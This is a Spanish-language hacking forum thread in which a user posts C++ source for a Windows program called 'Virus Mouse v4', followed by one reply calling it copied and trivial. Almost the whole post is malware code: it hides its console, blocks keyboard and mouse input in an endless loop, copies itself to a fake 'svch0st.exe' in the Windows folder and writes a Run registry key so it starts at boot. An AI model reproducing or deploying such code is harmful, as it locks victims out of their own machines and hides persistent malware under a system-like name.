comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Virus Mouse v4 Pablo

  • 1 Respuestas
  • 1587 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado @ed33x

  • *
  • Underc0der
  • Mensajes: 107
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • Email
« en: Enero 22, 2011, 10:04:35 pm »
Código: C++
  1. #include<windows.h>
  2. #include<tlhelp32.h>
  3. #include<winable.h>
  4.  
  5.  
  6.  
  7.  
  8. int test_key(void);
  9. int create_key(char *);
  10.  
  11.  
  12.  
  13. int main(void)
  14. {
  15.     int test,create;
  16.     test=test_key();
  17.  
  18.     if (test==2)
  19.     {
  20.         char *path="c:\\WINDOWS\\svch0st.exe";
  21.         create=create_key(path);
  22.  
  23.     }
  24.  
  25. HWND inv;
  26.     AllocConsole();
  27.     inv=FindWindowA("ConsoleWindowClass",NULL);
  28.     ShowWindow(inv,0);
  29. int c;
  30.  
  31. for(;;)
  32. {
  33. BlockInput(true);
  34. }
  35.          char root[60]="C:\\Windows\\";
  36.         char nombre[60]="svch0st";
  37.         char path[256]="svch0st";
  38.         strcat(nombre,".exe");
  39.         strcat(root,nombre);
  40.         HMODULE copiar = GetModuleHandle(0);
  41.         GetModuleFileName(copiar, path, 256);
  42.         CopyFile(path,root,false);
  43. }
  44.  
  45. int test_key(void)
  46. {
  47.     int check;
  48.     HKEY hKey;
  49.     char path[BUFSIZE];
  50.     DWORD buf_length=BUFSIZE;
  51.     int reg_key;
  52.  
  53.     reg_key=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_QUERY_VALUE,&hKey);
  54.     if(reg_key!=0)
  55.     {
  56.         check=1;
  57.         return check;
  58.     }
  59.  
  60.     reg_key=RegQueryValueEx(hKey,"Windows Files",NULL,NULL,(LPBYTE)path,&buf_length);
  61.  
  62.     if((reg_key!=0)||(buf_length>BUFSIZE))
  63.         check=2;
  64.     if(reg_key==0)
  65.         check=0;
  66.  
  67.     RegCloseKey(hKey);
  68.     return check;
  69. }
  70.  
  71. int create_key(char *path)
  72. {
  73.         int reg_key,check;
  74.  
  75.         HKEY hkey;
  76.  
  77.         reg_key=RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey);
  78.         if(reg_key==0)
  79.         {
  80.                 RegSetValueEx((HKEY)hkey,"Windows files",0,REG_SZ,(BYTE *)path,strlen(path));
  81.                 check=0;
  82.                 return check;
  83.         }
  84.         if(reg_key!=0)
  85.                 check=1;
  86.  
  87.         return check;
  88.  
  89. }
  90.  

Bueno pues ya esta desactivo el teclado, desactivo el raton, y lo copio al inicio.

Creo que ya la ultima version sera para modelar lo que me dijo regx sobre el user si es Admin.

Saludos!
« Última modificación: Febrero 08, 2014, 05:44:41 pm por Expermicid »
Me cambie de messenger ahora es: edeex@live.comNo tienes permisos para ver links. Registrate o Entra con tu cuenta

Desconectado P4|3L0

  • *
  • Underc0der
  • Mensajes: 9
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #1 en: Agosto 10, 2012, 08:41:15 am »
Pon creditos,no?

A ver si alguien va a pensar que lo has hecho tu y se crea que sabes programar, de todos modos, esto es una tonteria de virus.


 

¿Te gustó el post? COMPARTILO!